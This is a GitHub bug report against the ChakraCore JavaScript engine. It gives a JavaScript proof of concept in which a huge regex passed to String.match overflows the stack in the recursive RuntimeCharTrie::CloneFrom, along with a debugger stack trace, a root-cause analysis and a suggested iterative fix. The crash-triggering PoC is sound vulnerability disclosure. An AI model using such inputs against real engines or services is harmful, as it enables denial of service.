Skip to content

Construct a specific payload to [String].match cause ChakraCore engine StackOverflow crash, which may cause denial of service. #6835

@bjrjk

Description

@bjrjk

Summary

Construct a specific payload to [String].match cause ChakraCore engine StackOverflow crash, which may cause denial of service.

Description

PoC

The following is JS PoC to feed ch (ChakraCore 1.11.24 x64):

var dnaInput = "tacgattttatcgcgactagttaatcatcatagcaagtaaaatttgaattatgtcattat\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
ttaataggccggattggattgagttaattaagaccttgttcagtcatagtaaaaaccctt\n\
aaattttaccgattgacaaagtgagcagtcgcaataccctatgcgaaacgcctcgatagt\n\
gactaggtatacaaggtttttgagttcctttgaaatagttaactaatttaaaattaatta\n\
acgacatggaaatcacagaacctaatgctttgtaggagttatttatgctgtttactgcct\n\
ctacaaccctaataaagcagtcctaagaatgaaacgcatcttttagttcagaaagtggta\n\
tccagggtggtcaatttaataaattcaacatcgggtctcaggatattcggtcatataatt\n\
tattaagggctcttcgagtcttactctgagtgaaattggaaacagtcatccttttcgttg\n\
tgaggcatcttacaccgctatcgatatacaatgcattccaccgcggtgtcccgtacacaa\n\
ggaaacttgttaccttggggatataagaaaactcacacgtctcattattaaactgagtac\n\
tggaacgcacctcggatctgttgcactggattaaaatccgattatttttaaaaatattca\n\
gtgctagagcatatcaggtctacttttttatctggtatgtaaagcccacggagcgatagt\n\
gagatccttacgactcaacgaaaagttataacataactcccgttagccaaagcccaatcc\n\
\n";
dnaInput = dnaInput + dnaInput + dnaInput;
var seqs = [/a|tttaccct/ig];

Array.prototype.push.call(seqs, false, Array.prototype.concat.call(seqs, seqs, dnaInput));

for (i in seqs) {
  //print(seqs[i]);
  dnaInput.match(seqs[i]);
}

Analysis

Using windbg to do Time travel debug:

oUPW6LVEN4SUf2zz-YlK6yEPw93oyuifFWouwhRJ3Wc

It's easy to find chakracore!UnifiedRegex::RuntimeCharTrie::CloneFrom continuously invoking itself to clone from compile-time allocator to run-time allocator because of the large length of seqs[i], which caused stackoverflow.

The following is a stack trace:

>    ChakraCore.dll!UnifiedRegex::RuntimeCharTrie::CloneFrom(Memory::ArenaAllocator * allocator, const UnifiedRegex::CharTrie & other) 行 203 C++
     ChakraCore.dll!UnifiedRegex::AltNode::AnnotatePass4(UnifiedRegex::Compiler & compiler) 行 2542   C++
     ChakraCore.dll!UnifiedRegex::Compiler::Compile(Js::ScriptContext * scriptContext, Memory::ArenaAllocator * ctAllocator, Memory::ArenaAllocator * rtAllocator, UnifiedRegex::StandardChars<wchar_t> * standardChars, UnifiedRegex::Program * program, UnifiedRegex::Node * root, const wchar_t * litbuf, UnifiedRegex::RegexPattern * pattern, UnifiedRegex::DebugWriter * w, UnifiedRegex::RegexStats * stats) 行 4726   C++
     ChakraCore.dll!Js::RegexHelper::PrimCompileDynamic(Js::ScriptContext * scriptContext, const wchar_t * psz, unsigned int csz, const wchar_t * pszOpts, unsigned int cszOpts, bool isLiteralSource) 行 259 C++
     ChakraCore.dll!Js::RegexHelper::CompileDynamic(Js::ScriptContext * scriptContext, const wchar_t * psz, unsigned int csz, const wchar_t * pszOpts, unsigned int cszOpts, bool isLiteralSource) 行 100 C++
     ChakraCore.dll!Js::JavascriptRegExp::CreatePattern(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 384  C++
     ChakraCore.dll!Js::JavascriptRegExp::CreateRegExNoCoerce(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 414    C++
     ChakraCore.dll!Js::JavascriptRegExp::CreateRegEx(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 409    C++
     ChakraCore.dll!Js::JavascriptString::EntryMatch::__l2::<lambda>(Js::JavascriptString * stringObj) 行 1411    C++
     ChakraCore.dll!Js::JavascriptString::DelegateToRegExSymbolFunction<1,void * <lambda>(Js::JavascriptString *) >(Js::ArgumentReader & args, int symbolPropertyId, Js::JavascriptString::EntryMatch::__l2::void * <lambda>(Js::JavascriptString *) fallback, const wchar_t * varName, Js::ScriptContext * scriptContext) 行 1753    C++
     ChakraCore.dll!Js::JavascriptString::EntryMatch(Js::RecyclableObject * function, Js::CallInfo callInfo, ...) 行 1425 C++
     ChakraCore.dll!amd64_CallFunction() 行 208   未知
     ChakraCore.dll!Js::JavascriptFunction::CallFunction<1>(Js::RecyclableObject * function, void *(*)(Js::RecyclableObject *, Js::CallInfo) entryPoint, Js::Arguments args, bool useLargeArgCount) 行 1358   C++
     ChakraCore.dll!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout, Js::RecyclableObject * function, unsigned int flags, const Js::AuxArray<unsigned int> * spreadIndices) 行 3855    C++
     ChakraCore.dll!Js::InterpreterStackFrame::OP_ProfileCallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout, Js::RecyclableObject * function, unsigned int flags, unsigned short profileId, unsigned int inlineCacheIndex, const Js::AuxArray<unsigned int> * spreadIndices) 行 3894    C++
     ChakraCore.dll!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout) 行 505   C++
     ChakraCore.dll!Js::InterpreterStackFrame::ProcessProfiled() 行 87    C++
     ChakraCore.dll!Js::InterpreterStackFrame::Process() 行 3355  C++
     ChakraCore.dll!Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction * function, Js::ArgumentReader args, void * returnAddress, void * addressOfReturnAddress, Js::InterpreterStackFrame::AsmJsReturnStruct * asmJsReturn) 行 2035 C++
     ChakraCore.dll!Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout * layout) 行 1731   C++
     [外部代码]  
     ChakraCore.dll!amd64_CallFunction() 行 208   未知
     ChakraCore.dll!Js::JavascriptFunction::CallFunction<1>(Js::RecyclableObject * function, void *(*)(Js::RecyclableObject *, Js::CallInfo) entryPoint, Js::Arguments args, bool useLargeArgCount) 行 1358   C++
     ChakraCore.dll!Js::JavascriptFunction::CallRootFunctionInternal(Js::RecyclableObject * obj, Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 768 C++
     ChakraCore.dll!Js::JavascriptFunction::CallRootFunction(Js::RecyclableObject * obj, Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 728 C++
     ChakraCore.dll!Js::JavascriptFunction::CallRootFunction(Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 829 C++
     ChakraCore.dll!RunScriptCore::__l2::<lambda>(Js::ScriptContext * scriptContext, TTD::TTDJsRTActionResultAutoRecorder & _actionEntryPopper) 行 3632   C++
     ChakraCore.dll!ContextAPIWrapper::__l2::<lambda>(Js::ScriptContext * scriptContext) 行 238   C++
     ChakraCore.dll!ContextAPIWrapper_Core<0,_JsErrorCode <lambda>(Js::ScriptContext *) >(ContextAPIWrapper::__l2::_JsErrorCode <lambda>(Js::ScriptContext *) fn) 行 192  C++
     ChakraCore.dll!ContextAPIWrapper<0,_JsErrorCode <lambda>(Js::ScriptContext *, TTD::TTDJsRTActionResultAutoRecorder &) >(RunScriptCore::__l2::_JsErrorCode <lambda>(Js::ScriptContext *, TTD::TTDJsRTActionResultAutoRecorder &) fn) 行 235   C++
     ChakraCore.dll!RunScriptCore(void * scriptSource, const unsigned char * script, unsigned __int64 cb, LoadScriptFlag loadScriptFlag, unsigned __int64 sourceContext, const wchar_t * sourceUrl, bool parseOnly, _JsParseScriptAttributes parseAttributes, bool isSourceModule, void * * result) 行 3583   C++
     ChakraCore.dll!CompileRun(void * scriptVal, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result, bool parseOnly) 行 4993 C++
     ChakraCore.dll!JsRun(void * scriptVal, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result) 行 5015  C++
     ch.exe!ChakraRTInterface::JsRun(void * script, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result) 行 419   C++
     ch.exe!RunScript(const char * fileName, const char * fileContents, unsigned __int64 fileLength, void(*)(void *) fileContentsFinalizeCallback, void * bufferValue, char * fullPath, void * parserStateCache) 行 479   C++
     ch.exe!ExecuteTest(const char * fileName) 行 913 C++
     ch.exe!ExecuteTestWithMemoryCheck(char * fileName) 行 955    C++
     ch.exe!StaticThreadProc(void * lpParam) 行 1060  C++
     ch.exe!thread_start<unsigned int (__cdecl*)(void *),1>(void * const parameter) 行 97 C++
     [外部代码]  

Detailed Analysis

As you may see in the previous PoC, the seqs[i] after operation Array.prototype.push.call(seqs, false, Array.prototype.concat.call(seqs, seqs, dnaInput)); is a very long regular expression /a|tttaccct/ig,/a|tttaccct/ig,tacgattttatcgcgactagttaatcatcatagcaagtaaaatttgaattatgt.... (More than 4000 characters)

When compiling them, they are all constructed as UnifiedRegex::AltNode, which need to build CharTrie at ChakraCore-1.11.24\lib\Parser\RegexCompileTime.cpp:2509~2517:

AqNP7C1Hw_6adx1bifEdslsiVbaGLdsTSMsPMgJXhWM

Which is a iterative build process.

bool MatchLiteralNode::BuildCharTrie and CharTrie* CharTrie::Add inside void AltNode::AnnotatePass4 are also running iteratively, so they won't get any problem.

aQkNmNH2Jj15MOxLeLCXlWYhdLyFcYQLhAybV2UquDQ

zJj0r7o0IoPrBv8gX0xj5AnkBbz-IINugRA6RF2n7WY

However, when it running to ChakraCore-1.11.24\lib\Parser\RegexCompileTime.cpp:2541, in RuntimeCharTrie::CloneFrom:

pq2Hi85ryA6YU-mk6KnzuiHQ0Cv5JeC0TsqYaKuzDMM

SC0LMCXm0ew98Gy3S--BJHo1pJAL9kd8p8StoIqsRd0

It is a recursive clone process and the last AltNode node which contains most literal part of seqs[i] and has length more than 4000 will cause CloneFrom repeatedly invoke itself hence stackoverflow.

My recommend solution is to rewrite this part with an iterative coding style.

Thanks!

PS: I've also tried to change the seqs to var seqs = ['aa'];, which lead to the regex compiler treat them as a LiteralNode, hence no need to build a Trie.

OT8jur7VV4iz-5vKWpIOPQNTho8P3uDS--mCcpjHtDg

Supporting materials/ references:

3slX3cOwO8eVYv9REV4MMpoz37dtbfus3xc-2-XoYrs

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions